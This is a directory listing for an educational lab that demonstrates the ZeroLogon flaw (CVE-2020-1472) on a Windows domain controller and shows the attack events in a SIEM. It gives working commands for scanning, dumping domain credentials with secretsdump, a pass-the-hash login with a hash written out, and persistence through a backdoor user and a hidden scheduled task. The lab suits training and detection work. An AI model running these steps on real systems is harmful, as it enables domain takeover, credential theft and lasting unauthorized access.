Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ZeroLogon-CVE-2020-1472-lab — Explicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472) | Kitploit
Tools/GitHubGitHub/100hnomeunome/zerologon-cve-2020-1472-lab
Privilege EscalationPassword AttacksPersistence MechanismsVulnerability AnalysisExploitationPost-ExploitationCTFPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Labs & Practice
GitHub100hnomeunome/zerologon-cve-2020-1472-lab

ZeroLogon-CVE-2020-1472-lab

Explicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472)

View Repository
311 months agoNot yet reviewed

ZeroLogon-CVE-2020-1472

Explanation and demonstration of the ZeroLogon (CVE-2020-1472) vulnerability

The purpose of this lab is strictly educational. Its execution is not recommended in production environments or those that do not belong to you.

About the Vulnerability

Context of the vulnerability

This vulnerability allows a cybercriminal to take control of a Domain Controller (DC). This is done by changing or removing the password of a service account on the controller. The malicious agent can either cause a denial of service or take full control and own the entire network. In August 2020, Microsoft released a patch.

  • Severity: 10.0 (Critical) (CVSS v3.1)

Affected component: Microsoft Netlogon Remote Protocol (MS-NRPC)

Affected Windows versions:

  • Windows Server 2008 R2
  • 2012 / 2012 R2
  • 2016
  • 2019
  • Versions prior to the August/September 2020 patch

Requirements

Clone the repositories

  • Impacket
  • zerologon-CVE-2020-1472
  • CVE-2020-1472 - Test if target server is vulnerable

If running locally!

  • Download Kali Linux
  • Download vulnerable Windows Server 2008 R2
  • Virtualbox

On AWS it is also possible with these images (be careful with billing)

  • Vulnerable Windows - Community AMI 921877552404/win2016-dvwa-printnightmare-final-2022-07-04
  • Kali Linux - Marketplace AMI

Extra: A Wazuh account for SIEM event analysis.

  • Wazuh Cloud with 14-day trial

How to Exploit

Tip: On Kali Linux, the SSH service is disabled by default — you need to start it manually.

Before testing if the server is vulnerable, we can use nmap to see which ports are open:

root@kitploit:~
nmap -sS -T4 -F --open -n ip
Screenshot 2025-10-10 at 09 34 13

Using CVE-2020-1472 - Test if target server is vulnerable. Run the command:

root@kitploit:~
zerologon_tester.py <dc-name> <dc-ip>
Screenshot 2025-10-04 at 20 14 40

The secretsdump tool is part of the Impacket toolkit

root@kitploit:~
python3 secretsdump.py -just-dc wayne/w2008\[email protected]
Screenshot 2025-10-04 at 20 23 53
root@kitploit:~
python3 wmiexec.py wayne/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:088386eb6982d0c2f8960c26b1ff9e6c
Screenshot 2025-10-04 at 20 27 05

If everything goes well, we will be able to log in using the hash What is a pass-the-hash attack?

Screenshot 2025-10-04 at 20 30 39

Now just create persistence! It can be a new user!

root@kitploit:~
net user coringa Batman2025 /add
Screenshot 2025-10-04 at 20 36 09

Done! The user was successfully created!

Screenshot 2025-10-04 at 20 38 04

It is also possible to create a task!

root@kitploit:~
mkdir C:\Temp
root@kitploit:~
schtasks /Create /TN "CriarBackupPS1" /TR "powershell -NoProfile -WindowStyle Hidden -Command \"New-Item -Path 'C:\Temp\backup.ps1' -ItemType File -Force -Value '# backup script'\"" /SC ONLOGON /RL HIGHEST /F
Screenshot 2025-10-10 at 10 17 17 Screenshot 2025-10-10 at 10 20 33

Events in the SIEM

It is possible to see the creation of users and events related to pass-the-hash and user creation!

2025-10-06_10-08-10 2025-10-06_10-09-06

References

  • Zerologon (CVE-2020-1472): An Unauthenticated Privilege Escalation to Full Domain Privilege
  • What is Zerologon?
  • [MS-NRPC]: Netlogon Remote Protocol
  • CVE-2020-1472 Detail
  • ZeroLogon-CVE-2020-1472 - Lab on YouTube
  • Pass-the-Hash Attack
  • More about Impacket
Download Tool